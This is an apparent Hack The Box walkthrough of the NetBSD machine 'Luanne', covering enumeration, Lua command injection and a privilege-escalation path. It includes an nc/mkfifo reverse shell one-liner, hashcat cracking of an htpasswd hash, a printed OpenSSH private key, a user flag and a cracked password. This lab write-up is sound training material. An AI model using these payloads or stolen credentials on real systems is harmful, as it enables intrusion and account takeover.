Links

HTB - Luanne

Overview

This easy difficulty BSD system...Short description to include any strange things to be dealt with

Useful Skills and Tools

Decrypt .enc file in BSD

  • description with generic example

Run commands as another user (sudo) in BSD

doas whoami
#root

Location of password hashes in BSD

/etc/master.passwd

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.10.218. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oA <name> saves all types of output (.nmap,.gnmap, and .xml) with filenames of <name>.
┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ nmap -sCV -n -p- -Pn -v -oA luanne 10.10.10.218
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-18 19:09 EDT
Nmap scan report for 10.10.10.218
Host is up (0.064s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-methods:
|_ Supported Methods: GET HEAD POST
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1066.53 seconds
Nmap only showed three ports were open on this machine: 22- SSH, 80 - HTTP, and 9001 - which said Medusa httpd 1.12 (Supervisor process manager).

Port 80 - HTTP

I started out my enumeration by navigating to 10.10.10.218 in my browser.
I was immediately greeted by a Basic HTTP authorization prompt. Since I didn't have any credentials I tried a few basic defaults, but no luck.
Navigating to /index.html brought me to a default nginx installation page.
There was only one disallow line in robots.txt that showed a directory called /weather.
This did not reveal anything interesting, however. I left dirbuster running while I checked out the next service. I searched for exploits related to this version of nginx but only found a few denial of service vulnerabilities and a CNAME leakage. There was nothing useful.

Port 9001 - HTTP

Navigating to the page hosted on port 9001 also gave me a Basic HTTP authentication prompt. However, this one gave me a little clue. I did some research on the Supervisor process manager, looking for default credentials after seeing the hint of "default".
default seemed to be user:123 from the manual (though it specifies none:none)
after logging in I had a supervisor-status page that showed what appeared to be running processes on the server
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
nginx 79 1.6 0.1 33940 3288 ? S 10:22AM 1:16.12 nginx: worker process
root 0 0.0 0.2 0 13184 ? DKl 10:21AM 0:12.73 [system]
root 1 0.0 0.0 19852 1528 ? Is 10:21AM 0:00.01 init
root 164 0.0 0.0 32528 2296 ? Ss 10:21AM 0:00.17 /usr/sbin/syslogd -s
root 308 0.0 0.0 19708 1336 ? Is 10:21AM 0:00.00 /usr/sbin/powerd
_httpd 336 0.0 0.3 118876 17040 ? Ss 10:22AM 7:37.56 /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8
root 347 0.0 0.0 73104 2916 ? Is 10:22AM 0:00.04 /usr/sbin/sshd
root 366 0.0 0.0 33368 1824 ? Is 10:22AM 0:00.00 nginx: master process /usr/pkg/sbin/nginx
r.michaels 378 0.0 0.0 34996 1996 ? Is 10:22AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
_httpd 394 0.6 0.0 35160 2004 ? Ss 10:22AM 0:07.32 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
root 396 0.0 0.0 20216 1652 ? Is 10:22AM 0:00.14 /usr/sbin/cron
_httpd 9224 0.0 0.0 35460 2332 ? I 1:49PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 9657 0.0 0.0 35460 2332 ? I 1:33PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 12348 0.0 0.0 17744 1456 ? O 12:02AM 0:00.00 /usr/bin/egrep ^USER| \\[system\\] *$| init *$| /usr/sbin/sshd *$| /usr/sbin/syslogd -s *$| /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8 *$| /usr/sbin/cron *$| /usr/sbin/powerd *$| /usr/libexec/httpd -u -X -s.*$|^root.* login *$| /usr/libexec/getty Pc ttyE.*$| nginx.*process.*$
_httpd 16606 0.0 0.0 35160 4 ? R 12:02AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 18685 0.0 0.0 35460 2296 ? I 9:02PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 20969 0.0 0.0 35460 2296 ? I 9:02PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 26236 0.0 0.0 35460 2296 ? I 8:54PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
root 413 0.0 0.0 19780 1584 ttyE1 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE1
root 389 0.0 0.0 23792 1584 ttyE2 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE2
root 433 0.0 0.0 19784 1584 ttyE3 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE3
I saw a cron in the process output, as well as a weather.lua
I tried checking for local file inclusion and code execution vulnerabilities but they just gave errors.

Port 80 - /weather/forecast/

I found a directory /weather/forecast/ using Dirbuster.
"No city specified. Use 'city=list' to list available cities."
'test' showed unknown city error
Sending a query of ' (single quote) resulted in a "nil value" Lua error. I expected to test for a SQL injection vulnerability, but got something else instead. I did some reading on Lua syntax to see if I could figure out how to get this to execute code.
My first attempt triggered a warning from NoScript about a possible XSS attack. I had to close off the function parameters with '), separate the commands with a ;, and use a Lua comment -- at the end closed off the insertion to get this warning. I still did not get code execution however.
Looking a bit closer at my attempt, I noticed that I had typed os.system('id') rather than os.execute('id') which NoScript saw as JavaScript, triggering that warning. Fixing this error allowed me to get command execution.
NoScript still caught the attempt using os.execute, but at least it drew my attention to my error the first time!
root:*:0:0:Charlie &:/root:/bin/sh
toor:*:0:0:Bourne-again Superuser:/root:/bin/sh
daemon:*:1:1:The devil himself:/:/sbin/nologin
operator:*:2:5:System &:/usr/guest/operator:/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin
games:*:7:13:& pseudo-user:/usr/games:/sbin/nologin
postfix:*:12:12:& pseudo-user:/var/spool/postfix:/sbin/nologin
named:*:14:14:& pseudo-user:/var/chroot/named:/sbin/nologin
ntpd:*:15:15:& pseudo-user:/var/chroot/ntpd:/sbin/nologin
sshd:*:16:16:& pseudo-user:/var/chroot/sshd:/sbin/nologin
_pflogd:*:18:18:& pseudo-user:/var/chroot/pflogd:/sbin/nologin
_rwhod:*:19:19:& pseudo-user:/var/rwho:/sbin/nologin
_proxy:*:21:21:Proxy Services:/nonexistent:/sbin/nologin
_timedc:*:22:22:& pseudo-user:/nonexistent:/sbin/nologin
_sdpd:*:23:23:& pseudo-user:/nonexistent:/sbin/nologin
_httpd:*:24:24:& pseudo-user:/var/www:/sbin/nologin
_mdnsd:*:25:25:& pseudo-user:/nonexistent:/sbin/nologin
_tests:*:26:26:& pseudo-user:/nonexistent:/sbin/nologin
_tcpdump:*:27:27:& pseudo-user:/var/chroot/tcpdump:/sbin/nologin
_tss:*:28:28:& pseudo-user:/var/tpm:/sbin/nologin
_rtadvd:*:30:30:& pseudo-user:/var/chroot/rtadvd:/sbin/nologin
_unbound:*:32:32:& pseudo-user:/var/chroot/unbound:/sbin/nologin
_nsd:*:33:33:& pseudo-user:/var/chroot/nsd:/sbin/nologin
uucp:*:66:1:UNIX-to-UNIX Copy:/nonexistent:/sbin/nologin
nobody:*:32767:39:Unprivileged user:/nonexistent:/sbin/nologin
r.michaels:*:1000:100::/home/r.michaels:/bin/ksh
nginx:*:1001:1000:NGINX server user:/var/db/nginx:/sbin/nologin
dbus:*:1002:1001:System message bus:/var/run/dbus:/sbin/nologin
Using this command execution I pulled /etc/passwd to enumerate the users on the machine. There were only two users who could login with a shell, root and r.michaels.
NetBSD luanne.htb 9.0 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020 [email protected]:/usr/src/sys/arch/amd64/compile/GENERIC amd64
The command uname -a revealed this to be a NetBSD system. I wasn't sure what kind of reverse shell would work on a BSD system, so I checked the one-stop-shop for all things Payload.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
I found a reverse shell with nc (without -e) for openbsd, and hoped that it would work for this distro as well. The response hung for awhile after sending, which was a good sign.

Initial Foothold

┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ script luanne-init
Script started, output log file is 'luanne-init'.
┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ bash
[email protected]:~/htb/luanne$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.14.187] from (UNKNOWN) [10.10.10.218] 54839
sh: can't access tty; job control turned off
$ id && hostname
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
luanne.htb
It worked!

Enumeration as _httpd

$ which python3
which: PATH environment variable is not set
Checked to see if python3 was installed, but got an error that the PATH was not set. After some testing I found that my usual TTY upgrades were not working.
$ pwd
/var/www
$ ls -la
total 20
drwxr-xr-x 2 root wheel 512 Nov 25 11:27 .
drwxr-xr-x 24 root wheel 512 Nov 24 09:55 ..
-rw-r--r-- 1 root wheel 47 Sep 16 2020 .htpasswd
-rw-r--r-- 1 root wheel 386 Sep 17 2020 index.html
-rw-r--r-- 1 root wheel 78 Nov 25 11:38 robots.txt
$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
found an MD5 hash in .htpasswd
┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ hashcat -O -D1,2 -a0 -m500 hash /usr/share/wordlists/rockyou.txt --username
hashcat (v6.1.1) starting...
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 65 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0:iamthebest
Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
Time.Started.....: Sat Mar 27 20:11:46 2021 (0 secs)
Time.Estimated...: Sat Mar 27 20:11:46 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 30002 H/s (7.20ms) @ Accel:256 Loops:250 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 3074/14344385 (0.02%)
Rejected.........: 2/3074 (0.07%)
Restore.Point....: 2048/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000
Candidates.#1....: slimshady -> ANTHONY
Started: Sat Mar 27 20:11:43 2021
Stopped: Sat Mar 27 20:11:48 2021
It cracked within seconds to reveal the password iamthebest.
I was able to use this to log into the other web portal on port 80.
There did not seem to be anything further I could do here other than discover the /weather/forecast/ endpoint I had already used to gain access to the machine.

Road to User

$ find / -user r.michaels 2>/dev/null
/proc/378
/proc/378/fd
/proc/378/task
/proc/378/emul
/proc/378/auxv
/proc/378/cmdline
/proc/378/environ
/proc/378/fpregs
/proc/378/limit
/proc/378/map
/proc/378/maps
/proc/378/mem
/proc/378/note
/proc/378/notepg
/proc/378/regs
/proc/378/stat
/proc/378/statm
/proc/378/status
/var/mail/r.michaels
/home/r.michaels
Since I only had one user to go off, I tried using that password to switch users to r.michaels but failed. I also tried finding everything that r.michaels had access to, but there wasn't much.
$ ls -la /home/r.michaels
ls: r.michaels: Permission denied
$ ls -la /var/mail/r.michaels
-rw------- 1 r.michaels wheel 9172 Sep 16 2020 /var/mail/r.michaels
I tried to see what was in those directories, but couldn't see anything I could access.
$ ps -auxw
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
nginx 79 2.5 0.1 33696 3308 ? S 10:22AM 2:20.96 nginx: worker process
root 0 0.0 0.2 0 13288 ? OKl 10:21AM 0:22.40 [system]
root 1 0.0 0.0 19852 1528 ? Is 10:21AM 0:00.01 init
root 164 0.0 0.0 32528 2296 ? Ss 10:21AM 0:00.18 /usr/sbin/syslogd -s
root 267 0.0 0.1 117960 7340 ? Il 10:21AM 0:38.76 /usr/pkg/bin/vmtoolsd
root 308 0.0 0.0 19708 1336 ? Is 10:21AM 0:00.00 /usr/sbin/powerd
_httpd 336 0.0 0.3 119028 17052 ? Ss 10:22AM 7:38.21 /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8
root 347 0.0 0.0 73104 2916 ? Is 10:22AM 0:00.04 /usr/sbin/sshd
root 366 0.0 0.0 33368 1824 ? Is 10:22AM 0:00.00 nginx: master process /usr/pkg/sbin/nginx
r.michaels 378 0.0 0.0 34996 1996 ? Is 10:22AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /hom
_httpd 394 0.0 0.0 35160 2004 ? Ss 10:22AM 0:40.21 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr
root 396 0.0 0.0 20216 1652 ? Is 10:22AM 0:00.15 /usr/sbin/cron
_httpd 408 0.0 0.0 19988 1652 ? S 10:22AM 0:00.22 /bin/sh /usr/local/scripts/memory.sh
_httpd 414 0.0 0.0 21748 1656 ? I 10:22AM 0:00.63 /bin/sh /usr/local/scripts/processes.sh
_httpd 422 0.0 0.0 19992 1656 ? S 10:22AM 0:00.22 /bin/sh /usr/local/scripts/uptime.sh
...snipped extra users attepts at reverse shells and privesc...
_httpd 18685 0.0 0.0 35460 2296 ? I 9:02PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr
_httpd 20969 0.0 0.0 35460 2296 ? I 9:02PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr
_httpd 21048 0.0 0.0 19884 1520 ? O 12:41AM 0:00.00 ps -auxw
_httpd 22683 0.0 0.0 35460 2332 ? I 12:17AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr
...snipped more extra metagaming stuff...
root 419 0.0 0.0 19780 1584 ttyE0 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc constty
root 413 0.0 0.0 19780 1584 ttyE1 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE1
root 389 0.0 0.0 23792 1584 ttyE2 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE2
root 433 0.0 0.0 19784 1584 ttyE3 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE3
There was a process run by the r.michaels user that seemed to be running another instance of the weather.lua, this time on port 3001.
Note: From other user's attempts from the process output I saw one that showedpython3.7 -c import pty;pty.spawn("/bin/sh"). You may be able to use this to upgrade your shell. I didn't notice this until after I was done, and it would have been metagaming anyways!
$ curl http://localhost:3001
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 199 100 199 0 0 66333 0 --:--:-- --:--:-- --:--:-- 66333
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
/: <pre>No authorization</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
I tried using curl to get the local page at 3001 and got a "No Authorization" error.
$ curl -u webapi_user:iamthebest http://localhost:3001
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 386 100 386 0 0 125k 0 --:--:-- --:--:-- --:--:-- 125k
<!doctype html>
<html>
<head>
<title>Index</title>
</head>
<body>
<p><h3>Weather Forecast API</h3></p>
<p><h4>List available cities:</h4></p>
<a href="/weather/forecast?city=list">/weather/forecast?city=list</a>
<p><h4>Five day forecast (London)</h4></p>
<a href="/weather/forecast?city=London">/weather/forecast?city=London</a>
<hr>
</body>
</html>
since this page was the same as the one on port 80 I tried logging in as webapi_user. This time I was able to retrieve the site. It looked exactly the same as the one on port 80.
$ curl -u webapi_user:iamthebest http://localhost:3001/r.michaels
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 206 100 206 0 0 68666 0 --:--:-- --:--:-- --:--:-- 68666
<html><head><title>404 Not Found</title></head>
<body><h1>404 Not Found</h1>
/~: <pre>This item has not been found</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
$ curl -u webapi_user:iamthebest http://localhost:3001/~/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 207 100 207 0 0 51750 0 --:--:-- --:--:-- --:--:-- 51750
<html><head><title>404 Not Found</title></head>
<body><h1>404 Not Found</h1>
/~/: <pre>This item has not been found</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
I tried to see if I could access the home directory since this process was being run as
searched for how to access home directory in a URL and found
Used in URLs, interpretation of the tilde as a shorthand for a user's home directory (e.g., http://www.foo.org/~bob) is a convention borrowed from Unix. Implementation is entirely server-specific, so you'd need to check the documentation for your web server to see if it has any special meaning.
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 172 0 172 0 0 57333 0 --:--:-- --:--:-- --:--:-- 57333
<html><head><title>Document Moved</title></head>
<body><h1>Document Moved</h1>
This document had moved <a href="http://localhost:3001/~r.michaels/">here</a>
</body></html>
The post was related to python, but it seemed to work, at least somewhat
it seems like the tilde thing is also used specifically in nginx
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 601 0 601 0 0 117k 0 --:--:-- --:--:-- --:--:-- 117k
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
border-top: 1px solid black;
border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>
Putting the trailing slash on the url caused it to give me a directory listing
id_rsa sounded quite interesting
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa
sh: 48: Syntax error: redirection unexpected
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 245 100 245 0 0 81666 0 --:--:-- --:--:-- --:--:-- 81666
<html><head><title>500 Internal Error</title></head>
<body><h1>500 Internal Error</h1>
~r.michaels/id_rsa/index.html: <pre>An error occured on the server</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
However, trying to retrieve the id_rsa file gave some errors.
$ curl -u webapi_user:iamthebest ftp://localhost:3001/~r.michaels/id_rsa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- 0:00:30 --:--:-- 0
curl: (56) response reading failed
Next I tried switching protocols to use ftp:// rather than http:// but that failed as well

Further enumeration

Finding user creds

$ curl -u webapi_user:iamthebest localhost:3001/~r.michaels/id_rsa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2610 100 2610 0 0 637k 0 --:--:-- --:--:-- --:--:-- 637k
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
I was finally able to get it by removing the specification for curl to interpret what it was pulling through the HTTP protocol

User.txt

[email protected]:~/htb/luanne$ chmod 600 r.michaels.key
[email protected]:~/htb/luanne$ ssh -i r.michaels.key [email protected]
Last login: Sat Mar 27 21:16:20 2021 from 10.10.14.220
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
Welcome to NetBSD!
luanne$ id && whoami
uid=1000(r.michaels) gid=100(users) groups=100(users)
r.michaels
luanne$ ls -la
total 52
dr-xr-x--- 7 r.michaels users 512 Sep 16 2020 .
drwxr-xr-x 3 root wheel 512 Sep 14 2020 ..
-rw-r--r-- 1 r.michaels users 1772 Feb 14 2020 .cshrc
drwx------ 2 r.michaels users 512 Sep 14 2020 .gnupg
-rw-r--r-- 1 r.michaels users 431 Feb 14 2020 .login
-rw-r--r-- 1 r.michaels users 265 Feb 14 2020 .logout
-rw-r--r-- 1 r.michaels users 1498 Feb 14 2020 .profile
-rw-r--r-- 1 r.michaels users 166 Feb 14 2020 .shrc
dr-x------ 2 r.michaels users 512 Sep 16 2020 .ssh
dr-xr-xr-x 2 r.michaels users 512 Nov 24 09:26 backups
dr-xr-x--- 4 r.michaels users 512 Sep 16 2020 devel
dr-x------ 2 r.michaels users 512 Sep 16 2020 public_html
-r-------- 1 r.michaels users 33 Sep 16 2020 user.txt
luanne$ cat user.txt
ea5f0ce6a917b0be1eabc7f9218febc0
got the user.txt flag

Path to Power (Gaining Administrator Access)

Enumeration as User r.michaels

luanne$ groups r.michaels
users
r.michaels was only a member of the users group
luanne$ cd backups/
luanne$ ls -la
total 12
dr-xr-xr-x 2 r.michaels users 512 Nov 24 09:26 .
dr-xr-x--- 7 r.michaels users 512 Sep 16 2020 ..
-r-------- 1 r.michaels users 1970 Nov 24 09:25 devel_backup-2020-09-16.tar.gz.enc
In the /backups folder there was an encrypted tar file. Searching for netbsd tar.gz.enc led to
luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc | tar xz -C test
signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid RSA 2048-bit key <[email protected]>
tar: Error opening archive: Failed to open '/dev/nrst0'
looks like 2048 bit rsa key
netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc | tar -xzf - -C /tmp/
signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid RSA 2048-bit key <[email protected]>
success
luanne$ ls -ls /tmp
total 8
8 drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 devel-2020-09-16
luanne$ cd /tmp/devel-2020-09-16/
luanne$ ls -la
total 32
drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 .
drwxrwxrwt 3 root wheel 48 Mar 28 04:02 ..
drwxr-xr-x 2 r.michaels wheel 48 Sep 16 2020 webapi
drwxr-xr-x 2 r.michaels wheel 96 Sep 16 2020 www
I was able to successfully extract the files, but right after I started to look through them the /tmp directory was cleaned up.
luanne$ ls -la
total 20
drwxrwxrwt 3 root wheel 48 Mar 28 04:04 .
drwxr-xr-x 21 root wheel 512 Sep 16 2020 ..
drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 devel-2020-09-16
luanne$ cd devel-2020-09-16/
luanne$ ls -la
total 32
drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 .
